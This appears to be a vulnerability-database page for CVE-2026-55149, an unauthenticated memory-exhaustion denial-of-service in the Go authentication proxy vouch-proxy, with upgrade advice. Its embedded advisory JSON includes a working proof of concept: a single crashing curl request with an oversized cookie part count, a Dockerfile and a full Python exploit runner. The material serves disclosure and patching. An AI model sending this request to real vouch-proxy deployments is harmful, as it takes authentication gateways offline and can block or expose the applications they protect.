CVE-2026-55149: Github.com/vouch/vouch proxy Denial of Service Vulnerability
HIGHCVE-2026-55149 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-789: Memory Allocation with Excessive Size Value) affecting Github.com/vouch/vouch proxy libraries in the Go ecosystem. The issue involves vouch-proxy has an unbounded multipart cookie allocation dos. Remediation is available by upgrading affected packages to version 0.48.0.
CVE-2026-55149 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-55149
To remediate this vulnerability, upgrade all affected Github.com/vouch/vouch proxy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/vouch/vouch-proxy to 0.48.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/vouch/vouch-proxy
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-55149, inspect your project dependencies for Github.com/vouch/vouch proxy:
inspect dependencies for github.com/vouch/vouch-proxy
Analyze the terminal output to locate any version of Github.com/vouch/vouch proxy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.48.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-789: Memory Allocation with Excessive Size Value, where the product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. In Github.com/vouch/vouch proxy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55149 Affected Github.com/vouch/vouch proxy Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/vouch/vouch-proxy
|
Go |
< 0.48.0
|
0.48.0
|
References
Frequently Asked Questions
What is CVE-2026-55149?
Which Github.com/vouch/vouch proxy versions are affected?
What version fixes CVE-2026-55149?
Is github.com/vouch/vouch-proxy affected?
What is the CVSS score of CVE-2026-55149?
What CWE is associated with CVE-2026-55149?
How can I check Go dependencies for CVE-2026-55149?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qqff-5854-px68",
"modified" : "2026-08-20T17:26:39Z",
"published" : "2026-08-20T17:26:39Z",
"aliases" : [ "CVE-2026-55149" ],
"summary" : "vouch-proxy has an Unbounded Multipart Cookie Allocation DoS",
"details" : "## Unbounded Multipart Cookie Allocation DoS in vouch-proxy\n\n### Summary\n\nvouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The `/validate` endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., `VouchCookie_1of<N>`) and passes it without any bounds check to `make([]string, N)`. A single HTTP request with `N=10000000000` causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.\n\n### Details\n\nThe vulnerability exists in `pkg/cookie/cookie.go`. The `Cookie()` function iterates over all cookies in the request, identifies multipart cookies by the `_NofM` suffix in their name, and initializes the reassembly slice on the first matching cookie:\n\n```go\n// pkg/cookie/cookie.go:123–130\nxOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\nxyArray := strings.Split(xOFy, \"of\")\nif numParts == -1 {\n if numParts, err = strconv.Atoi(xyArray[1]); err != nil {\n return \"\", fmt.Errorf(\"multipart cookie fail: %s\", err)\n }\n cookieParts = make([]string, numParts) // sink: unbounded allocation\n}\n```\n\nThe value in `xyArray[1]` comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before `strconv.Atoi` parses it. The result is used as the length argument to `make`, so an attacker who supplies `VouchCookie_1of10000000000` causes the runtime to request approximately `10_000_000_000 × 16 bytes ≈ 160 GB` of memory in a single call.\n\nThe complete exploit path from network entry to crash:\n\n1. `main.go:167` — `/validate` and `/_external-auth-:id` are registered wrapped in `JWTCacheHandler`.\n2. `pkg/jwtmanager/jwtcache.go:54` — `JWTCacheHandler` calls `FindJWT(r)` **before** any authentication check.\n3. `pkg/jwtmanager/jwtmanager.go:228` — `FindJWT` calls `cookie.Cookie(r)`.\n4. `pkg/cookie/cookie.go:109` — `r.Cookies()` reads the attacker-supplied `Cookie:` header.\n5. `pkg/cookie/cookie.go:124` — cookie name suffix is split on `\"of\"`.\n6. `pkg/cookie/cookie.go:126` — `strconv.Atoi(xyArray[1])` parses the attacker-controlled total.\n7. `pkg/cookie/cookie.go:130` — **sink**: `make([]string, numParts)` attempts a gigantic heap allocation.\n\nBecause the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.\n\nA suggested remediation is to add a strict upper bound and format validation before the allocation:\n\n```diff\n--- a/pkg/cookie/cookie.go\n+++ b/pkg/cookie/cookie.go\n@@ const maxCookieSize = 4000\n+const maxCookieParts = 32\n@@\n- xOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\n- xyArray := strings.Split(xOFy, \"of\")\n+ xOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\n+ partStr, totalStr, ok := strings.Cut(xOFy, \"of\")\n+ if !ok || partStr == \"\" || totalStr == \"\" {\n+ return \"\", fmt.Errorf(\"multipart cookie fail: invalid cookie part name\")\n+ }\n if numParts == -1 {\n- if numParts, err = strconv.Atoi(xyArray[1]); err != nil {\n+ if numParts, err = strconv.Atoi(totalStr); err != nil {\n return \"\", fmt.Errorf(\"multipart cookie fail: %s\", err)\n }\n+ if numParts < 1 || numParts > maxCookieParts {\n+ return \"\", fmt.Errorf(\"multipart cookie fail: invalid part count %d\", numParts)\n+ }\n cookieParts = make([]string, numParts)\n }\n```\n\n### PoC\n\n**Environment setup**\n\nBuild the vulnerable image from source (requires the vouch-proxy repository at the path below):\n\n```bash\ndocker build \\\n -f vuln-001/Dockerfile \\\n -t vouch-vuln001 \\\n repo\n```\n\nStart the container (no memory limit is imposed; the Go runtime itself fails the allocation):\n\n```bash\ndocker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001\n```\n\nWait for the server to respond to a baseline request (expected HTTP 302 or similar):\n\n```bash\ncurl -v http://127.0.0.1:19090/validate\n```\n\n**Attack request**\n\nSend a single unauthenticated HTTP GET with the malicious cookie name:\n\n```bash\ncurl -v http://127.0.0.1:19090/validate \\\n -H 'Host: app.example.com' \\\n -H 'Cookie: VouchCookie_1of10000000000=x'\n```\n\nAlternatively, run the automated PoC script:\n\n```bash\npython3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000\n```\n\n**Expected result**\n\nThe server process crashes immediately with a Go runtime fatal error. Container logs show:\n\n```\nfatal error: runtime: out of memory\n\nruntime.makeslice(0x0?, 0x0?, 0x0?)\n /usr/local/go/src/runtime/slice.go:117\ngithub.com/vouch/vouch-proxy/pkg/cookie.Cookie(...)\n /src/pkg/cookie/cookie.go:130\ngithub.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...)\n /src/pkg/jwtmanager/jwtmanager.go:228\nmain.main.JWTCacheHandler.func1(...)\n /src/pkg/jwtmanager/jwtcache.go:54\n```\n\nThe container exits with code 2 (Go runtime fatal). The `curl` client receives an empty reply. The attack is 100% deterministic and reproducible on every run.\n\n**Minimal configuration** (no real OAuth provider required):\n\n```yaml\nvouch:\n logLevel: info\n listen: 0.0.0.0\n port: 9090\n domains:\n - vouch.github.io\noauth:\n provider: indieauth\n client_id: http://vouch.github.io\n auth_url: https://indielogin.com/auth\n callback_url: http://vouch.github.io:9090/auth\n```\n\n### Impact\n\nThis is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.\n\nAn attacker who can send a single HTTP request to the `/validate` or `/_external-auth-:id` endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.\n\nNo authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (`VouchCookie`) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 — Unbounded Multipart Cookie Allocation DoS\n# vouch/vouch-proxy v0.47.2 (commit b683f60)\n#\n# Attack: GET /validate with Cookie: VouchCookie_1of<HUGE>=x\n# -> cookie.Cookie() calls strconv.Atoi on the attacker-controlled total\n# -> make([]string, <HUGE>) triggers an immediate OOM fatal in the Go runtime\n# -> Server process crashes; no authentication required\n#\n# Build: docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo\n# Run: docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001\n\n# ---------- Stage 1: compile vouch-proxy from source ----------\nFROM golang:1.26 AS builder\n\nWORKDIR /src\nCOPY . .\n\n# Build a statically linked binary; skip do.sh which requires live git tags.\n# Version ldflags are pinned to the affected commit for reproducibility.\nRUN CGO_ENABLED=0 GOOS=linux \\\n go build -v \\\n -ldflags=\"-s -w \\\n -X main.version=b683f60 \\\n -X main.uname=linux \\\n -X main.builddt=2024-01-01T00:00:00Z \\\n -X main.host=vuln-poc \\\n -X main.semver=v0.47.2 \\\n -X main.branch=main\" \\\n -o /vouch-proxy .\n\n# ---------- Stage 2: minimal runtime image ----------\nFROM debian:bookworm-slim\n\nRUN apt-get update && \\\n apt-get install -y --no-install-recommends ca-certificates && \\\n rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /vouch-proxy /vouch-proxy\n\n# Minimal config: allowAllUsers so startup succeeds without real OAuth,\n# default cookie name VouchCookie matches the PoC payload.\nRUN mkdir -p /config && cat > /config/config.yml << 'EOF'\nvouch:\n logLevel: info\n listen: 0.0.0.0\n port: 9090\n domains:\n - vouch.github.io\noauth:\n provider: indieauth\n client_id: http://vouch.github.io\n auth_url: https://indielogin.com/auth\n callback_url: http://vouch.github.io:9090/auth\nEOF\n\nEXPOSE 9090\nENTRYPOINT [\"/vouch-proxy\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS\nTarget: vouch/vouch-proxy v0.47.2 (commit b683f60)\nFile: pkg/cookie/cookie.go:126\n\nAttack summary\n--------------\nThe multipart-cookie reassembly routine reads the total part count from the\nattacker-controlled cookie *name* (e.g. VouchCookie_1of<N>) and calls\n make([]string, N)\nwith no upper-bound check. The /validate endpoint is reachable without any\nauthentication, so a single HTTP request with N=10_000_000_000 forces the\nGo runtime to attempt a ~160 GB heap allocation, which immediately triggers\n runtime: out of memory: cannot allocate ...\nand crashes the server process (Go fatal, exit 2).\n\nUsage\n-----\nRun from the repo root (or any directory; paths are absolute):\n\n python3 poc.py [--image IMAGE] [--port PORT] [--parts N]\n\nDefaults:\n IMAGE = vouch-vuln001\n PORT = 9090\n PARTS = 10000000000 (10 billion -> ~160 GB allocation request)\n\"\"\"\n\nimport argparse\nimport http.client\nimport json\nimport subprocess\nimport sys\nimport time\n\n# ──────────────────────────────────────────────────────────\n# Configuration\n# ──────────────────────────────────────────────────────────\nDEFAULT_IMAGE = \"vouch-vuln001\"\nDEFAULT_PORT = 19090 # host port; container always uses 9090 internally\nDEFAULT_PARTS = 10_000_000_000 # drives make([]string, 10_000_000_000)\nCONTAINER_NAME = \"vouch-vuln001-poc\"\nSTARTUP_TIMEOUT_S = 30 # seconds to wait for the server to listen\nREADY_POLL_S = 1.0\n\n\n# ──────────────────────────────────────────────────────────\n# Helpers\n# ──────────────────────────────────────────────────────────\n\ndef run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:\n \"\"\"Run a subprocess and return the CompletedProcess.\"\"\"\n print(f\"[cmd] {' '.join(cmd)}\")\n return subprocess.run(cmd, **kwargs)\n\n\ndef cleanup(name: str) -> None:\n \"\"\"Remove an existing container by name, ignoring errors.\"\"\"\n subprocess.run(\n [\"docker\", \"rm\", \"-f\", name],\n stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n )\n\n\ndef wait_for_server(host: str, port: int, timeout: float) -> bool:\n \"\"\"Poll GET /validate until we get any response (even 401/302) or timeout.\"\"\"\n deadline = time.monotonic() + timeout\n while time.monotonic() < deadline:\n try:\n conn = http.client.HTTPConnection(host, port, timeout=2)\n conn.request(\"GET\", \"/validate\")\n resp = conn.getresponse()\n # Any HTTP response means the server is up.\n print(f\"[ready] server responded: HTTP {resp.status}\")\n conn.close()\n return True\n except OSError:\n pass\n time.sleep(READY_POLL_S)\n return False\n\n\ndef container_running(name: str) -> bool:\n \"\"\"Return True if the named container is still running.\"\"\"\n r = subprocess.run(\n [\"docker\", \"inspect\", \"--format\", \"{{.State.Running}}\", name],\n capture_output=True, text=True,\n )\n return r.returncode == 0 and r.stdout.strip() == \"true\"\n\n\ndef container_exit_code(name: str) -> int | None:\n \"\"\"Return the exit code of a stopped container, or None if unknown.\"\"\"\n r = subprocess.run(\n [\"docker\", \"inspect\", \"--format\", \"{{.State.ExitCode}}\", name],\n capture_output=True, text=True,\n )\n if r.returncode == 0:\n try:\n return int(r.stdout.strip())\n except ValueError:\n pass\n return None\n\n\ndef container_oom(name: str) -> bool:\n \"\"\"Return True if the container was OOM-killed.\"\"\"\n r = subprocess.run(\n [\"docker\", \"inspect\", \"--format\", \"{{.State.OOMKilled}}\", name],\n capture_output=True, text=True,\n )\n return r.returncode == 0 and r.stdout.strip() == \"true\"\n\n\ndef get_logs(name: str) -> str:\n \"\"\"Retrieve stdout+stderr from the container.\"\"\"\n r = subprocess.run(\n [\"docker\", \"logs\", name],\n capture_output=True, text=True,\n )\n return (r.stdout + r.stderr).strip()\n\n\n# ──────────────────────────────────────────────────────────\n# Main\n# ──────────────────────────────────────────────────────────\n\ndef main() -> None:\n parser = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n parser.add_argument(\"--image\", default=DEFAULT_IMAGE, help=\"Docker image name\")\n parser.add_argument(\"--port\", default=DEFAULT_PORT, type=int)\n parser.add_argument(\"--parts\", default=DEFAULT_PARTS, type=int,\n help=\"N in VouchCookie_1ofN (drives allocation size)\")\n args = parser.parse_args()\n\n host = \"127.0.0.1\"\n port = args.port\n image = args.image\n num_parts = args.parts\n cookie_val = f\"VouchCookie_1of{num_parts}\"\n\n print(\"=\" * 60)\n print(\"VULN-001 PoC — Unbounded Multipart Cookie Allocation DoS\")\n print(\"=\" * 60)\n print(f\" Image : {image}\")\n print(f\" Target : http://{host}:{port}/validate\")\n print(f\" Cookie : {cookie_val}=x\")\n print(f\" Expected allocation: ~{(num_parts * 16) // (1024**3)} GB\")\n print()\n\n # 1. Clean up any leftover container.\n cleanup(CONTAINER_NAME)\n\n # 2. Start the vouch-proxy container.\n # Memory is uncapped at the Docker level; the Go runtime itself will\n # fail the mmap when the host cannot honor the 160 GB request\n # (overcommit heuristic or insufficient address space).\n run_cmd = [\n \"docker\", \"run\", \"-d\", # no --rm so logs survive after crash\n \"--name\", CONTAINER_NAME,\n \"-p\", f\"{port}:9090\", # host:container — vouch-proxy always binds :9090 internally\n image,\n ]\n r = run(run_cmd, capture_output=True, text=True)\n if r.returncode != 0:\n print(f\"[FAIL] docker run failed:\\n{r.stderr}\")\n sys.exit(1)\n container_id = r.stdout.strip()\n print(f\"[info] container started: {container_id[:12]}\")\n\n # 3. Wait for the HTTP server to accept connections.\n print(f\"[info] waiting for server on {host}:{port} (up to {STARTUP_TIMEOUT_S}s) ...\")\n ready = wait_for_server(host, port, STARTUP_TIMEOUT_S)\n if not ready:\n logs = get_logs(CONTAINER_NAME)\n print(f\"[FAIL] server did not become ready within {STARTUP_TIMEOUT_S}s.\")\n print(\"[logs]\", logs[-2000:])\n cleanup(CONTAINER_NAME)\n sys.exit(1)\n\n # 4. Send the malicious request.\n print()\n print(\"[attack] Sending malicious cookie to /validate ...\")\n request_line = f\"GET /validate HTTP/1.1 Cookie: {cookie_val}=x\"\n print(f\"[attack] {request_line}\")\n print()\n\n try:\n conn = http.client.HTTPConnection(host, port, timeout=10)\n conn.request(\n \"GET\", \"/validate\",\n headers={\n \"Host\": \"app.example.com\",\n \"Cookie\": f\"{cookie_val}=x\",\n },\n )\n # The server might crash before sending a response.\n try:\n resp = conn.getresponse()\n body = resp.read(512).decode(\"utf-8\", errors=\"replace\")\n print(f\"[info] got HTTP {resp.status}: {body[:200]}\")\n except Exception as e:\n print(f\"[info] connection broken mid-response (expected): {e}\")\n conn.close()\n except Exception as e:\n print(f\"[info] request exception (expected if server crashed): {e}\")\n\n # 5. Give the container a moment to record its exit state.\n time.sleep(2)\n\n # 6. Collect evidence.\n still_running = container_running(CONTAINER_NAME)\n exit_code = container_exit_code(CONTAINER_NAME)\n oom_killed = container_oom(CONTAINER_NAME)\n logs = get_logs(CONTAINER_NAME)\n\n print(\"─\" * 60)\n print(\"[evidence] Container still running :\", still_running)\n print(\"[evidence] Container exit code :\", exit_code)\n print(\"[evidence] OOM-killed flag :\", oom_killed)\n print()\n print(\"[logs] (last 3000 chars of container stdout+stderr):\")\n print(logs[-3000:] if logs else \"(empty)\")\n print(\"─\" * 60)\n\n # 7. Verdict\n #\n # Evidence of exploitation (any one suffices):\n # (a) Container exited (not still running) after the malicious request.\n # (b) Exit code == 2 (Go runtime fatal: out of memory).\n # (c) OOMKilled == true (kernel OOM killer fired).\n # (d) Logs contain \"out of memory\" or \"runtime: fatal\".\n\n crashed = not still_running\n go_panic = exit_code == 2\n oom_kill = oom_killed\n log_oom = (\n \"out of memory\" in logs.lower()\n or \"runtime: fatal\" in logs.lower()\n or \"cannot allocate\" in logs.lower()\n )\n\n passed = crashed and (go_panic or oom_kill or log_oom)\n\n print()\n if passed:\n print(\"[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.\")\n # Extract the key OOM line from logs.\n oom_lines = [\n ln for ln in logs.splitlines()\n if any(kw in ln.lower() for kw in (\"out of memory\", \"cannot allocate\", \"runtime: fatal\", \"oom\"))\n ]\n evidence = \"\\n\".join(oom_lines[:5]) if oom_lines else f\"container exited with code {exit_code}\"\n else:\n print(\"[FAIL] Could not confirm crash. See logs above for details.\")\n evidence = logs[-500:] if logs else \"(no logs)\"\n\n print()\n result = {\n \"passed\": passed,\n \"verdict\": \"PASS\" if passed else \"FAIL\",\n \"reason\": (\n \"단일 비인증 HTTP 요청으로 서버 프로세스를 OOM 충돌시키는 취약점 재현 성공\"\n if passed else\n \"컨테이너 충돌을 확인할 수 없음 — 로그 및 종료 코드 참고\"\n ),\n \"build_command\": (\n \"docker build -f vuln-001/Dockerfile \"\n \"-t vouch-vuln001 \"\n \"repo\"\n ),\n \"run_command\": (\n f\"docker run --rm -d --name {CONTAINER_NAME} \"\n f\"-p {port}:9090 {image}\"\n ),\n \"poc_command\": (\n f\"python3 poc.py --image {image} --port {port} --parts {num_parts}\"\n ),\n \"evidence\": evidence,\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n }\n\n result_path = (\n \"reports/pypiAi_450_vouch__vouch-proxy\"\n \"/vuln-001/phase2_result.json\"\n )\n with open(result_path, \"w\") as fh:\n json.dump(result, fh, indent=2, ensure_ascii=False)\n print(f\"[saved] {result_path}\")\n\n # 8. Cleanup.\n cleanup(CONTAINER_NAME)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/vouch/vouch-proxy"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.48.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.47.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/vouch/vouch-proxy/security/advisories/GHSA-qqff-5854-px68"
}, {
"type" : "WEB",
"url" : "https://github.com/vouch/vouch-proxy/commit/fa18ce30ba50a4863a436acad044c22965329c4f"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/vouch/vouch-proxy"
}, {
"type" : "WEB",
"url" : "https://github.com/vouch/vouch-proxy/releases/tag/v0.48.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-789" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-20T17:26:39Z",
"nvd_published_at" : null
}
}